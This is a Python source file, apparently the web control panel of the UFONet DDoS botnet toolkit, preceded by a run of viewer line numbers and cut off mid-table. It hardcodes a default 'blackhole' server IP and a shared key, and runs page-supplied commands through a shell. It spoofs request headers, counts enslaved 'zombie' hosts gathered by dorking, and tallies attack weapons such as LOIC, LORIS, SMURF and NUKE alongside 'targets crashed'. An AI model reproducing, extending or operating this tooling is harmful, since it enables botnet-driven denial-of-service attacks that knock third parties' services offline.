123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278427942804281428242834284428542864287428842894290429142924293429442954296429742984299430043014302430343044305430643074308430943104311431243134314431543164317431843194320432143224323432443254326432743284329433043314332433343344335433643374338433943404341434243434344434543464347434843494350435143524353435443554356435743584359436043614362436343644365436643674368436943704371437243734374437543764377437843794380438143824383438443854386438743884389439043914392439343944395439643974398439944004401440244034404440544064407440844094410441144124413441444154416441744184419442044214422442344244425442644274428442944304431443244334434443544364437443844394440444144424443444444454446444744484449445044514452445344544455445644574458445944604461446244634464446544664467446844694470447144724473447444754476447744784479448044814482448344844485448644874488448944904491449244934494449544964497449844994500450145024503450445054506450745084509451045114512451345144515451645174518451945204521452245234524452545264527452845294530453145324533453445354536453745384539454045414542454345444545454645474548454945504551455245534554455545564557455845594560456145624563456445654566456745684569457045714572457345744575457645774578457945804581458245834584458545864587458845894590459145924593459445954596459745984599460046014602460346044605460646074608460946104611461246134614461546164617461846194620462146224623462446254626462746284629463046314632463346344635463646374638463946404641464246434644464546464647464846494650465146524653465446554656465746584659466046614662466346644665466646674668466946704671467246734674467546764677467846794680468146824683468446854686468746884689469046914692469346944695469646974698469947004701470247034704470547064707470847094710471147124713471447154716471747184719472047214722472347244725472647274728472947304731473247334734473547364737473847394740474147424743474447454746474747484749475047514752475347544755475647574758475947604761476247634764476547664767476847694770477147724773477447754776477747784779478047814782478347844785478647874788478947904791479247934794479547964797479847994800480148024803480448054806480748084809481048114812481348144815481648174818481948204821482248234824482548264827482848294830483148324833483448354836483748384839484048414842484348444845484648474848484948504851485248534854485548564857485848594860486148624863486448654866486748684869487048714872487348744875487648774878487948804881488248834884488548864887488848894890489148924893489448954896489748984899490049014902490349044905490649074908490949104911491249134914491549164917491849194920492149224923492449254926492749284929493049314932493349344935493649374938493949404941494249434944494549464947494849494950495149524953495449554956495749584959496049614962496349644965496649674968496949704971497249734974497549764977497849794980498149824983498449854986498749884989499049914992499349944995499649974998499950005001500250035004500550065007500850095010501150125013501450155016501750185019502050215022502350245025502650275028502950305031503250335034503550365037503850395040504150425043504450455046504750485049505050515052505350545055505650575058505950605061506250635064506550665067506850695070507150725073507450755076507750785079508050815082508350845085508650875088508950905091509250935094509550965097509850995100510151025103510451055106510751085109511051115112511351145115511651175118511951205121512251235124512551265127512851295130513151325133513451355136513751385139514051415142514351445145514651475148514951505151515251535154515551565157515851595160516151625163516451655166516751685169517051715172517351745175517651775178 |
- #!/usr/bin/env python3
- # -*- coding: utf-8 -*-"
- """
- This file is part of the UFONet project, https://ufonet.03c8.net
- Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
- You should have received a copy of the GNU General Public License along
- with UFONet; if not, write to the Free Software Foundation, Inc., 51
- Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
- """
- import socket, threading, re, os, time, random, base64
- import webbrowser, subprocess, json, sys
- import urllib.request, urllib.error, urllib.parse
- from core.tools.crypter import Cipher
- from time import gmtime, strftime, strptime
- from Crypto.Cipher import AES
- from hashlib import sha1, sha256
- from decimal import Decimal
- from random import shuffle
- from urllib.parse import urlparse as urlparse
- from .options import UFONetOptions
- from .main import UFONet
- from core.tools.abductor import Abductor
- #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
- default_blackhole = '176.28.23.46' # default blackhole #
- crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
- ###################################################################
- blackhole_sep = "|" # blackhole stream separator
- board_msg_sep = "#!#" # board stream separator
- grid_msg_sep = "#?#" # grid stream seperator
- wargames_msg_sep = "#-#" # wargames stream seperator
- host = "0.0.0.0"
- port = 9999
- class ClientThread(threading.Thread):
- def __init__(self, ip, port, socket):
- threading.Thread.__init__(self)
- self.ip = ip
- self.port = port
- self.socket = socket
- self.pages = Pages()
- def run(self):
- req = self.socket.recv(2048)
- res = self.pages.get(req)
- if res is None:
- self.socket.close()
- return
- out = "HTTP/1.0 %s\r\n" % res["code"]
- out += "Content-Type: %s\r\n\r\n" % res["ctype"]
- out += "%s" % res["html"]
- try:
- self.socket.send(out.encode('utf-8'))
- except:
- self.socket.send(out)
- self.socket.close()
- if "run" in res and len(res["run"]):
- subprocess.Popen(res["run"], shell=True)
- class Pages():
- def file_len(self, fn):
- with open(fn) as f:
- for i, l in enumerate(f):
- pass
- return i + 1
- def html_army_map(self,target=None):
- try:
- target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
- except:
- target_js="not any zombie available\n\n"
- if target is not None:
- target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
- return self.pages["/header"] + """
- <link rel="stylesheet" href="/js/style.css" />
- <link rel="stylesheet" href="/js/ajaxmap.css" />
- <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
- <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
- <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
- <script src="/js/leaflet/leaflet.js"></script>
- <script src="/js/cluster/leaflet.markercluster-src.js"></script>
- <script src="/js/jquery-1.10.2.min.js"></script>
- <script src="/js/rlayer-src.js"></script>
- <script src="/js/raphael.js"></script>
- <script src="/js/ufo.js"></script>
- <script src="/js/ajax.js"></script>
- </head><body bgcolor="black" text="black">
- <div id="wrapper">
- <div id="map" style="width: 100%; height: 100%"></div>
- </div>
- <script type="text/javascript">
- window.onload = function(){
- """+target_js+"""
- }
- </script>
- <center>
- """ + self.pages["/footer"]
- def html_request_submit(self):
- return self.pages["/header"]+"""<script>
- window.setTimeout(window.close,1234)
- </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
- <center>settings updated"""+self.pages["/footer"]
- def html_requests(self):
- # read requests configuration file (json)
- try:
- with open(self.mothership_webcfg_file) as data_file:
- data = json.load(data_file)
- except:
- if os.path.exists(self.mothership_webcfg_file) == True:
- print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
- return
- else: # generate default requests configuration file
- print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
- with open(self.mothership_webcfg_file, "w") as f:
- json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
- # set values of requests configuration from json file to html form
- with open(self.mothership_webcfg_file) as data_file:
- data = json.load(data_file)
- self.agents = [] # generating available user-agents
- f = open(self.agents_file)
- agents = f.readlines()
- f.close()
- for agent in agents:
- self.agents.append(agent)
- self.user_agent = random.choice(self.agents).strip()
- self.rproxy = data["rproxy"]
- if self.rproxy == "NONE":
- self.rproxy = ""
- self.ruseragent = data["ruseragent"]
- if self.ruseragent == "RANDOM":
- self.ruseragent = self.user_agent # random user-agent
- self.rreferer = data["rreferer"]
- if self.rreferer == "RANDOM":
- self.rreferer = self.referer # random referer
- self.rhost = data["rhost"]
- if self.rhost == "NONE":
- self.rhost = ""
- self.rxforw = data["rxforw"]
- if self.rxforw == "on":
- self.rxforw_check = 'checked'
- else:
- self.rxforw_check = ''
- self.rxclient = data["rxclient"]
- if self.rxclient == "on":
- self.rxclient_check = 'checked'
- else:
- self.rxclient_check = ''
- self.rtimeout = data["rtimeout"]
- self.rretries = data["rretries"]
- self.rdelay = data["rdelay"]
- self.threads = data["threads"]
- self.rssl = data["rssl"]
- if self.rssl == "on":
- self.rssl_check = 'checked'
- else:
- self.rssl_check = ''
- return self.pages["/header"] + """
- <script language="javascript">
- function Requests() {
- var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- </script>
- </head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" ><center><pre>
- <u>Configure requests:</u>
- <table cellpadding="2" cellspacing="2">
- <form method='GET'>
- <tr>
- <td> Use proxy server:</td>
- <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
- </tr>
- <tr>
- <td> Use another HTTP User-Agent header:</td>
- <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
- </tr>
- <tr>
- <td> Use another HTTP Referer header:</td>
- <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
- </tr>
- <tr>
- <td> Use another HTTP Host header:</td>
- <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
- </tr>
- <tr>
- <td> Set your HTTP X-Forwarded-For with random IP values:</td>
- <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
- </tr>
- <tr>
- <td> Set your HTTP X-Client-IP with random IP values:</td>
- <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
- </tr>
- <tr>
- <td> Select your timeout:</td>
- <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
- </tr>
- <tr>
- <td> Retries when the connection timeouts:</td>
- <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
- </tr>
- <tr>
- <td> Delay in seconds between each HTTP request:</td>
- <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
- </tr>
- <tr>
- <td> Number of threads:</td>
- <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
- </tr>
- <tr>
- <td> Force usage of SSL/HTTPS requests:</td>
- <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
- </tr>
- </table>
- <hr>
- <input type="hidden" name="update" value="1">
- <input type="submit" value="Set!" onclick="Requests()"></pre>
- </form>
- """ + self.pages["/footer"]
- def html_board_profile_submit(self):
- return self.pages["/header"]+"""<script>
- window.setTimeout(window.close,1234)
- </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
- <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
- def html_grid_profile_submit(self):
- return self.pages["/header"]+"""<script>
- window.setTimeout(window.close,1234)
- </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
- <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
- def profile_crew(self, icon):
- files = os.listdir("core/images/crew/")
- if icon == "NONE":
- icon = "link1"
- html_stream = ""
- html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
- for f in files:
- id = str(f.replace(".txt", ""))
- value = str(f.replace(".txt", ""))
- if icon == value:
- checked = " CHECKED"
- else:
- checked = ""
- crew_img = open("core/images/crew/"+value+".txt").read()
- html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
- html_stream += "</tr></table>"
- return html_stream
- def html_board_profile(self):
- try:
- with open(self.mothership_boardcfg_file) as data_file:
- data = json.load(data_file)
- except:
- if os.path.exists(self.mothership_boardcfg_file) == True:
- print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
- return
- else:
- print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
- with open(self.mothership_boardcfg_file, "w") as f:
- json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
- f.close()
- with open(self.mothership_boardcfg_file) as data_file:
- data = json.load(data_file)
- self.profile_token = str(random.getrandbits(128)) # generating random token hash
- self.profile_icon = data["profile_icon"]
- self.profile_nick = data["profile_nick"]
- self.profile_nick.encode('utf-8')
- return self.pages["/header"] + """
- <script language="javascript">
- function BoardProfile() {
- var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- </script>
- </head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" ><center><pre>
- <u>Configure profile:</u>
- <table cellpadding="2" cellspacing="2">
- <form method='GET'>
- <tr>
- <td> <u>OPERATOR/LINK:</u></td>
- <td> """+self.profile_crew(self.profile_icon)+"""</td>
- </tr>
- <tr>
- <td> <u>NICKNAME:</u></td>
- <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
- </tr>
- </table>
- <hr>
- <input type="hidden" name="update" value="1">
- <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
- </form>
- """ + self.pages["/footer"]
- def html_grid_profile(self):
- try:
- with open(self.mothership_gridcfg_file) as data_file:
- data = json.load(data_file)
- except:
- if os.path.exists(self.mothership_gridcfg_file) == True:
- print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
- return
- else:
- print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
- with open(self.mothership_gridcfg_file, "w") as f:
- json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
- f.close()
- with open(self.mothership_gridcfg_file) as data_file:
- data = json.load(data_file)
- self.grid_token = str(random.getrandbits(128)) # generating random token hash
- self.grid_contact = data["grid_contact"]
- self.grid_contact.encode('utf-8')
- self.grid_nick = data["grid_nick"]
- self.grid_nick.encode('utf-8')
- return self.pages["/header"] + """
- <script language="javascript">
- function GridProfile() {
- var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- </script>
- </head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" ><center><pre>
- <u>Configure grid profile:</u><br>
- <table cellpadding="2" cellspacing="2">
- <form method='GET'>
- <tr>
- <td> <u>NICKNAME:</u></td>
- <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
- </tr>
- <tr>
- <td> <u>EMAIL/URL (CONTACT):</u></td>
- <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
- </tr>
- </table>
- <hr>
- <input type="hidden" name="update" value="1">
- <input type="submit" value="Set!" onclick="GridProfile()"></pre>
- </form>
- """ + self.pages["/footer"]
- def html_board_remove(self):
- try:
- with open(self.mothership_boardcfg_file, "w") as f:
- json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
- except:
- return
- return self.pages["/header"]+"""<script>
- window.setTimeout(window.close,1234)
- </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
- <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
- def html_grid_remove(self):
- try:
- with open(self.mothership_gridcfg_file, "w") as f:
- json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
- except:
- return
- return self.pages["/header"]+"""<script>
- window.setTimeout(window.close,1234)
- </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
- <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
- def html_stats(self):
- total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist)
- if self.ranking == "Rookie": # Rookie
- your_ranking = "<font color='white'>Rookie [*]</font>"
- elif self.ranking == "Mercenary": # Mercenary
- your_ranking = "<font color='cyan'>Mercenary [**]</font>"
- elif self.ranking == "Bandit": # Bandit
- your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
- elif self.ranking == "UFOmmander!": # UFOmmander!
- your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
- elif self.ranking == "UFOl33t!": # UFOl33t!
- your_ranking = "<font color='red'>UFOl33t! [▼]</font>"
- else:
- your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
- return self.pages["/header"] + """<script language="javascript">
- function Ranking() {
- var win_grid = window.open("ranking","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Grid() {
- var win_grid = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- </script></head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <center>
- <table cellpadding="5" cellspacing="5"><tr>
- <td><img src='data:image/png;base64,"""+self.mothership_img+"""'></td>
- <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button></td>
- </tr></table>
- <table border="0" cellpadding="5" cellspacing="10"><tr><td>
- <table border="1" cellpadding="5" cellspacing="10"><tr>
- <td><b><u>General:</u></b></td></tr>
- <tr>
- <td>RANKING:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
- <tr><td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
- </table>
- <br>
- <table border="1" cellpadding="5" cellspacing="10"><tr>
- <td><b><u>Missions:</u></b></td></tr>
- <tr>
- <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
- <tr>
- <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
- <tr>
- <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
- <tr>
- <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
- </table>
- </td><td>
- <table border="1" cellpadding="5" cellspacing="10"><tr>
- <td><b><u>Botnet:</u></b></td></tr>
- <tr>
- <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
- <tr>
- <td>Scanner (new bots via dorking):</td>
- <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
- <tr>
- <td>Transferred (new bots via blackholes):</td>
- <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
- <tr>
- <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
- </table>
- <br>
- <table border="1" cellpadding="5" cellspacing="10"><tr>
- <td><b><u>Weapons (use):</u></b></td></tr>
- <tr>
- <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
- <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
- <tr>
- <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
- <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
- <tr>
- <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
